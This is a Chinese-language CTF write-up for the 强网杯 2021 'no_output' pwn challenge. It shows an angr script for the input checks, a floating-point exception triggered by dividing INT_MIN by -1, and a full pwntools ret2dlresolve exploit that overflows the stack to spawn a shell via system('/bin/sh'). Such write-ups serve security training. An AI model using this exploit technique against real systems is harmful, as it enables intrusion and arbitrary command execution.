强网杯 2021 no_output

强网杯 2021 no_output

没有输出,包含栈溢出。进行两次校验,前两次输入直接用angr模板获取。但是angr不能直接探索到触发信号之后(可能是咱不懂)

import angr
import sys
import binascii

def main(argv):
    path_to_binary = "./test"  # :string
    project = angr.Project(path_to_binary)#要分析的二进制文件

    # 告诉ange从哪里开始执行entry_state() 表示从main函数开始
    initial_state=project.factory.entry_state()

    #创建一个使用起始状态初始化的模拟管理器。它提供
    #一些有用的工具来搜索和执行二进制文件。
    simulation=project.factory.simgr(initial_state)

    #函数会一直运行直到运行到0x08048675这个地质处,或者探索了每条可能路径
    print_good_address = 0x08049297  # :integer (probably in hexadecimal)
    simulation.explore(find=print_good_address,avoied=0x80494EC)
    #找到的方案会存放到simulation.found列表里面(列表里面存放的是地址)
    if simulation.found:
        solution_state=simulation.found[0]
        #用这种方式输出内容
        result=solution_state.posix.dumps(sys.stdin.fileno())
        print(result)

        print()
    else:
        raise Exception("Could not find the solution")
if __name__=="__main__":
    main(sys.argv)

接下来需要用除法触发浮点异常,最大负数除-1可以触发。

这个数可以表示为。 0x80000000,-2147483648,-0x80000000

然后用ret2dlresolve劫持执行流,payload直接提供了生成ret2dlresolve的方式

rop = ROP("./test")
elf = ELF("./test")
dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])
rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
print(rop.dump())
print(hex(dlresolve.data_addr))
payload =b'A'*76+p32(0x80490C0)+p32(0x8049582)+p32(0)+p32(0x804de00)+p32(0x8049030)+p32(0x5a04)+p32(0)+p32(0x804de20)#+b"/bin/sh\x00"
s.sendline(payload)#read_plt        p,pebp,ret                bss        push jmp dl_runtimeresolve
raw_input(">")
payload= dlresolve.payload
print(payload)
s.sendline(payload)
s.interactive()

第一个payload如下,所有内容不需要改,只需要在该payload前面添加偏移,偏移为覆盖到返回地址的长度

0x0000:        0x80490c4 read(0, 0x804de00)   read_plt对应jump指令   不需要改
0x0004:        0x8049582 <adjust @0x10> pop edi; pop ebp; ret    平衡栈
0x0008:              0x0 arg0       参数1
0x000c:        0x804de00 arg1       参数2  bss段
0x0010:        0x8049030 [plt_init] system(0x804de20)      push  plt_base ; jmp dl_resolve  
0x0014:           0x5a04 [dlresolve index]      index  不需要改
0x0018:          b'gaaa' <return address>       返回地址
0x001c:        0x804de20 arg0                        
0x804de00

完整payload

from pwn import *
s = process("./test")
# s = remote("39.105.138.97","1234")
context.terminal =['/usr/bin/tmux', 'splitw', '-h', '-F#{pane_pid}' ]
# context.log_level="debug"
# gdb.attach(s,"b *0x80490C0\n")
s.send("\x00")
s.send('A'*0x20)
s.send("hello_boy\x00")
s.sendline("-2147483648")
s.sendline("-1")
rop = ROP("./test")
elf = ELF("./test")
dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])
rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
print(rop.dump())
print(hex(dlresolve.data_addr))
payload =b'A'*76+p32(0x80490C4)+p32(0x8049582)+p32(0)+p32(0x804de00)+p32(0x8049030)+p32(0x5a04)+p32(0)+p32(0x804de20)#+b"/bin/sh\x00"
s.sendline(payload)#read_plt        p,pebp,ret                bss        push jmp dl_runtimeresolve
raw_input(">")
payload= dlresolve.payload
print(payload)
s.sendline(payload)
s.interactive()

"""
0x0000:        0x80490c4 read(0, 0x804de00)   对应jump指令   实际用0x80490c0处的指令
0x0004:        0x8049582 <adjust @0x10> pop edi; pop ebp; ret    平衡栈
0x0008:              0x0 arg0       参数1
0x000c:        0x804de00 arg1       参数2  bss段
0x0010:        0x8049030 [plt_init] system(0x804de20)      push  plt_base ; jmp dl_resolve  
0x0014:           0x5a04 [dlresolve index]      index  不需要改
0x0018:          b'gaaa' <return address>       返回地址
0x001c:        0x804de20 arg0                        
0x804de00
"""
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值